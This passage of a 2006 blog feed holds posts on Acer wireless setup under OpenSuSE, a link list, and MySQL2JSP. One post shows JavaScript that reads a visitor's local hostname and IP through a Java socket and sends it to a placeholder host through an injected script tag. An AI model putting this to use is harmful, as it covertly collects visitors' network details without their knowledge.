scheme='http://www.blogger.com/atom/ns#' term='suse'/><category scheme='http://www.blogger.com/atom/ns#' term='5024 wlmi'/><title type='text'>Linux Wireless Lan Setup for ACER aspire series</title><content type='html'>This article has been tested with OpenSuSE 10.1 and acer aspire 5024 wlmi. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Impressions &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The installation of open suse 10.1 left me wondering why do people do not use it more.&lt;br /&gt;Setup was by far the easiest I have ever used. &lt;br /&gt;&lt;br /&gt;OpenSuSE10.1 found nearly all of my laptop´s hardware at once without any requirement for configuration. The time that was spent for the setup &amp; (auto)configuration of itself took less time than ussually windows require and without the requirement to install the drivers manually.&lt;br /&gt;&lt;br /&gt;Of course as I mentioned above opensuse 10.1, did not found everything.&lt;br /&gt;&lt;br /&gt;Support for my laptop´s wireless card and card reader was not there.&lt;br /&gt;&lt;br /&gt;Below I will exaplain in a few and easy steps how to setup your wireless card (provided that you have an acer aspire 5020 series laptop or a compatible wireless card , such as fujitsu-siemens amilo series) You can check for your card compatibility at &lt;a href="http://www2.informatik.hu-berlin.de/~tauber/acerhk/"&gt;acerhk&lt;/a&gt; website&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;My Wireless card information &lt;br /&gt;&lt;br /&gt;Vendor :Broadcom&lt;br /&gt;device spec :aspire 3022 wlmi&lt;br /&gt;device :bcm4318 airforce one 54g&lt;br /&gt;model :ambit mcrosystem&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Wireless card installation prerequisites &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You will need your windows XP driver (on my laptop bcmwl5.inf) and you have to have root access.&lt;br /&gt;After you find the windows driver , you will need the following to proceed:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;ndiswrapper (installed by default)&lt;br /&gt;acerhk&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;(you may also find useful acer_acpi and wlan-button but they are NOT required)&lt;br /&gt;&lt;br /&gt;after you download and install ndiswrapper (using yast2 or rpm -ivh package-name for ndiswrapper)&lt;br /&gt;you have to register your windows driver on linux.&lt;br /&gt;&lt;br /&gt;You can do that by issuing the command : &lt;span style="font-style:italic;"&gt;ndiswrapper -i driverfn.inf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;you can verify the installation using &lt;span style="font-style:italic;"&gt;ndiswrapper -l &lt;/span&gt;&lt;br /&gt;(on successfull installation you should get something like the following)&lt;br /&gt;/usr/sbin/ndiswrapper -l&lt;br /&gt;Installed drivers:&lt;br /&gt;bcmwl5 driver installed, hardware present&lt;br /&gt;bcmwl5a driver installed, hardware present&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After a successfull driver installation you can generate the configuration files for modprobe using &lt;span style="font-style:italic;"&gt;ndiswrapper -m&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now you can configure your wireless card using /sbin/yast2 lan &amp;&lt;br /&gt;It appears a screen asking you to choose a method between ifup and NetworkManager&lt;br /&gt;(My choice was network manager)&lt;br /&gt;&lt;br /&gt;The next screen provides you with three options add/edit/delete network device&lt;br /&gt;If you already have added a wireless network card you can edit it otherwise you can create a new one.&lt;br /&gt;&lt;br /&gt;after pressing Add you should set Device type to Wireless&lt;br /&gt;and module name should contain only ndiswrapper as this is the driver for your wireless card.&lt;br /&gt;You should have not checked any of the checkboxes and the options field should be empty. &lt;br /&gt;&lt;br /&gt;On the next screen go to the general tab and check the box user controlled and device activation on hotplug.&lt;br /&gt;&lt;br /&gt;The firewall zone and address are up to you. &lt;br /&gt;The next and final screen is again up to you since it expects information for the typical wireless configuration like the mode of the wireless card (ad-hoc,managed etc) , security (wep, wpa etc)&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;After the completion of the wizard acerhk( acer hot key driver) has to be compiled and installed &lt;br /&gt;&lt;br /&gt;The acerhk tarball can be unzipped and untarred using &lt;br /&gt;tar zxvf module-name .tag.gz&lt;br /&gt;and then compile it and install it using:&lt;br /&gt;&lt;br /&gt;make &lt;br /&gt;make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After the compilation acerhk has to be imported as kernel module&lt;br /&gt;You can do this using the following command:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;modprobe acerhk usedritek=1 autowlan=1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ok, now when you press your wireless button your wireless card will work as if you were working with windows. &lt;br /&gt;&lt;br /&gt;Now the only thing that remains to be done is to load the driver at system startup. You can achieve that by editing boot.local using a command like the folowing:&lt;br /&gt;  &lt;span style="font-style:italic;"&gt;kedit /etc/init.d/boot.local append  modprobe acerhk usedritek=1 autowlan=1 and you're set&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-6213055161650863109?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/6213055161650863109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=6213055161650863109' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/6213055161650863109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/6213055161650863109'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2006/10/linux-wireless-lan-setup-for-acer.html' title='Linux Wireless Lan Setup for ACER aspire series'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-4060120669485215435</id><published>2006-09-07T05:57:00.000+02:00</published><updated>2006-09-07T06:04:34.058+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web  development'/><category scheme='http://www.blogger.com/atom/ns#' term='streaming in j2me'/><category scheme='http://www.blogger.com/atom/ns#' term='jboss web service manual'/><category scheme='http://www.blogger.com/atom/ns#' term='linux-ntfs'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql2jsp review'/><category scheme='http://www.blogger.com/atom/ns#' term='gmail-hacktips'/><category scheme='http://www.blogger.com/atom/ns#' term='virtual interfaces'/><category scheme='http://www.blogger.com/atom/ns#' term='jsf'/><title type='text'>Interesting stories &amp; articles</title><content type='html'>&lt;a href="http://cyber-knowledge.net/blog/2006/09/05/gmail-hackstips/"&gt;gmail hacktips&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.linux-ntfs.org/"&gt;linux-ntfs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://today.java.net/pub/a/today/2006/08/29/developing-with-facelets-jsf-jsp.html"&gt;developing-with-facelets-jsf-jsp&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://today.java.net/pub/a/today/2006/08/22/experiments-in-streaming-java-me.html"&gt;experiments-in-streaming-java-me&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.jhug.gr/phpnuke/PHP-Nuke-6.5/html//modules.php?name=News&amp;file=article&amp;sid=468"&gt;JBoss web services manual&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/forum/forum.php?forum_id=609312"&gt;MySQL2JSP review in Japanese &amp; English translated with google&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://redir.internet.com/rss/click/www.developer.com/tech/article.php/3629961"&gt;Virtual Interfaces&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-4060120669485215435?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/4060120669485215435/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=4060120669485215435' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/4060120669485215435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/4060120669485215435'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2006/09/interesting-stories.html' title='Interesting stories &amp; articles'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-2997713772293436554</id><published>2006-09-01T05:34:00.000+02:00</published><updated>2006-09-01T06:12:27.925+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='find remote_addr'/><category scheme='http://www.blogger.com/atom/ns#' term='counter'/><category scheme='http://www.blogger.com/atom/ns#' term='script tag generation'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript evaluate'/><category scheme='http://www.blogger.com/atom/ns#' term='evaluate'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript counter'/><category scheme='http://www.blogger.com/atom/ns#' term='find client ip'/><category scheme='http://www.blogger.com/atom/ns#' term='url script generation'/><category scheme='http://www.blogger.com/atom/ns#' term='hostname to country name conversion'/><title type='text'>How to find &amp; evaluate client's ip using javascript</title><content type='html'>Starting this week a friend, a developer himself, asked me if I could help him to develop a logging utility or a detailed counter for his personal website. In other words he wanted to know how many web visits he accepts per day and from where.&lt;br /&gt;&lt;br /&gt;When he saw my surprised look he added that we could only use HTML/javascript to retrieve the client ip. &lt;br /&gt;&lt;br /&gt;I had read on the internet that you can easily get the client's ip using javascript.&lt;br /&gt;Since I only have basic knowledge of javascript, I thought that it would be better to   &lt;br /&gt; search on the internet and find a way to do it.&lt;br /&gt;&lt;br /&gt;All I cound find was that you can use a script like the following:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt; script language="javascript"&gt;&lt;br /&gt;var ip = '&lt;!--#echo var="REMOTE_ADDR"--&gt;'&lt;br /&gt;...&lt;br /&gt;&lt; /script&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Of course the above script will not work since &lt;span style="font-style:italic;"&gt;'&lt;!--#echo var="REMOTE_ADDR"--&gt;'&lt;/span&gt; tag is actually SSI( Server Side Include)and has nothing to do with javascript.&lt;br /&gt;&lt;br /&gt;Javascript does not provide a way to get the client's ip from the http "&lt;span style="font-style:italic;"&gt;remote_addr&lt;/span&gt;" header. After all Javascript lies on the client-side.&lt;br /&gt;I continued seaching and finally I found out at &lt;a href="http://www.gnucitizen.org/"&gt;gnucitizen&lt;/a&gt; that you can &lt;a href="http://www.gnucitizen.org/projects/javascript-address-info/"&gt;find the client's ip address with javascript using the following script&lt;/a&gt;:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt; script language="javascript" type="text/javascript"&gt;&lt;br /&gt;var Client.getAddressInfo = function () {&lt;br /&gt; var hostname = undefined;&lt;br /&gt; var address = undefined;&lt;br /&gt; &lt;br /&gt; try {&lt;br /&gt;  var sock = new java.net.Socket();&lt;br /&gt;  sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));&lt;br /&gt;  sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));&lt;br /&gt;  hostname = sock.getLocalAddress().getHostName();&lt;br /&gt;  address = sock.getLocalAddress().getHostAddress(); &lt;br /&gt; } catch (e) {}&lt;br /&gt; &lt;br /&gt; return {hostname: hostname, address: address};&lt;br /&gt;};&lt;br /&gt;&lt; /script&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above javascript will not find the client's ip address from the header, but will get the job done in most cases.&lt;br /&gt;&lt;br /&gt;Due to the fact that javascript was our only solution, it quickly became evident that we should send the client's ip parameter elsewhere and manipulate it there.&lt;br /&gt;&lt;br /&gt;The next issue I thought of, was how could the hostname be evaluated before the html page executes at the client browser. Failure to evaluate the hostname before the html parsing from the browser, means that instead of sending the client's ip, the script itself would be sent as a parameter.&lt;br /&gt;&lt;br /&gt;The solution to this problem was found at &lt;a href="http://www.dhtmlcentral.com/tutorials/tutorials.asp?id=11&amp;print=1"&gt;dhtmlcentral&lt;/a&gt;&lt;br /&gt;and is as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;function loadContent(file){&lt;br /&gt;  var head = document.getElementsByTagName('head').item(0)&lt;br /&gt;  var scriptTag = document.getElementById('loadScript');&lt;br /&gt;  if(scriptTag) head.removeChild(scriptTag);&lt;br /&gt;  script = document.createElement('script');&lt;br /&gt;  script.src = file;&lt;br /&gt; script.type = 'text/javascript';&lt;br /&gt; script.id = 'loadScript';&lt;br /&gt; head.appendChild(script)&lt;br /&gt;} &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above function is equal as writing &lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt; SCRIPT LANGUAGE="JavaScript" RC="hostname/scriptname"&gt;&lt; /SCRIPT&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;So if we execute a function that generates the SRC url and pass that function as a parameter to loadContent, we could dynamically invoke the specific url we want to use  while sending the parameter we want at the same time.&lt;br /&gt;&lt;br /&gt;The following example:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;function  gethost(){&lt;br /&gt;  return "http://somehost.com/pathTo/webPage?clientip="+Client.getAddressInfo().address;&lt;br /&gt;  &lt;br /&gt;}; &lt;br /&gt;loadContent(gethost());&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; would get the job done.&lt;br /&gt;&lt;br /&gt;Finally, the joy of completion. Now If we could only find a way to convert that ip into country names we could generate various interesting statistics.&lt;br /&gt;&lt;br /&gt;For example, if we were a company and we saw that certain percentage of our visits comes from a specific country, then we could reasses our overall strategy or our strategy regarding that country.&lt;br /&gt;&lt;br /&gt;A possible way of converting the hostname into coutry name using PHP can be found at &lt;a href="http://www.weberdev.com/get_example-3091.html"&gt;weberdev&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-2997713772293436554?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/2997713772293436554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=2997713772293436554' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/2997713772293436554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/2997713772293436554'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2006/09/how-to-find-evaluate-remoteaddrclients.html' title='How to find &amp; evaluate client&apos;s ip using javascript'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-1409152837308604211</id><published>2006-08-27T12:15:00.001+02:00</published><updated>2009-01-25T15:44:01.802+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nanoagent'/><category scheme='http://www.blogger.com/atom/ns#' term='jsp code generator'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='jsp'/><category scheme='http://www.blogger.com/atom/ns#' term='code'/><category scheme='http://www.blogger.com/atom/ns#' term='code generator'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql to jsp code generator'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql2jsp'/><category scheme='http://www.blogger.com/atom/ns#' term='database'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql jsp'/><category scheme='http://www.blogger.com/atom/ns#' term='generator'/><title type='text'>MySQL to JSP Code Generator -- MySQL2JSP release 0.3.0.1</title><content type='html'>&lt;span style="font-family:verdana;"&gt;&lt;span style="font-weight: bold;"&gt;MySQL2JSP&lt;/span&gt; &lt;/span&gt;&lt;span style="font-family:verdana;"&gt;is an easy to use, quick &amp;amp; template driven JSP code generator that creates  a full set of JSP pages, &lt;/span&gt;&lt;br /&gt;&lt;a style="font-family: verdana;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger2/6426/719684615114750/1600/screenshot2.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://photos1.blogger.com/blogger2/6426/719684615114750/320/screenshot2.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt; Servlets &lt;/span&gt;&lt;span style="font-family:verdana;"&gt;as well as JavaBeans from MySQL database using  JDBC. Using the generated JSPs, users can perform any operation on any database record.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;The &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://db2jspgen.sourceforge.net/"&gt;MySQL2JSP&lt;/a&gt;&lt;span style="font-family:verdana;"&gt; project, has released &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://freshmeat.net/releases/234324/"&gt;version 0.3.0.1&lt;/a&gt;&lt;span style="font-family:verdana;"&gt;. This is primarily a &lt;/span&gt;&lt;a style="font-family: verdana;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sourceforge.net/dbimage.php?id=85166"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px;" src="http://sourceforge.net/dbimage.php?id=85166" alt="" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family:verdana;"&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt; template GUI enhancement release, but also contains several &lt;/span&gt;&lt;span style="font-family:verdana;"&gt;bugfixes&lt;/span&gt;&lt;span style="font-family:verdana;"&gt; of the templates as well as the code being developed. It generates a complete set of pages of Web application and displays foreign keys values. This release contains also several bugfixes of the templates as well as the code being developed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Furthermore MySQL2JSP generates a complete directory structure of the web application.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-weight: bold;"&gt;Project Scope &amp;amp; Goals &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Scope of this application is to generate highly optimized code by leveraging other open source projects (such as velocity for the moment). &lt;span style="font-weight: bold;"&gt;MySQL2JSP &lt;/span&gt;will provide  means, to other applications, of accessing the database through JDBC without  requiring writing code. The generated code will  comprise of a full set of servlet / JSP pages.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt; These pages should be produced the easiest way possible by reducing the configuration complexity on the one hand while producing clean &amp;amp; reusable amounts of code on the other.  The generated code should also, be optimized while at the same time the produced code should remain as much reusable and customizable as possible in order to help to speed up the development cycle/process.&lt;br /&gt;&lt;br /&gt;At the moment the MySQL2JSP  code generator supports only MySQL but in future releases it will support other  databases too.&lt;br /&gt;Moreover, a set of javabeans  is generated which complies with the java naming Furthermore, the application generates code that covers both the front end such as, the forms for each table as well as the logic that will manipulate the tables of the database, allowing users to perform any operation on any database record.&lt;br /&gt;&lt;br /&gt;Finally, this application is NOT supposed to be a  competitor of HIBERNATE or any other similar ORM. Instead, MySQL2JSP is  supposed to be the small “cousin”, of  ORM related products, that will be  used for small/small-medium databases.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;related links:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/docman/display_doc.php?docid=34190&amp;amp;group_id=172800"&gt;&lt;span style="font-family:verdana;"&gt;A MySQL2JSP brief tutorial&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/docman/display_doc.php?docid=34216&amp;amp;group_id=172800"&gt;&lt;span style="font-family:verdana;"&gt;MySQL2JSP Future development ideas&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/project/screenshots.php?group_id=172800"&gt;&lt;span style="font-family:verdana;"&gt;More screenshots&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-1409152837308604211?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sourceforge.net/projects/db2jspgen' title='MySQL to JSP Code Generator -- MySQL2JSP release 0.3.0.1'/><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/1409152837308604211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=1409152837308604211' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/1409152837308604211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/1409152837308604211'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2006/08/mysql-to-jsp-code-generator-mysql2jsp.html' title='MySQL to JSP Code Generator -- MySQL2JSP release 0.3.0.1'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
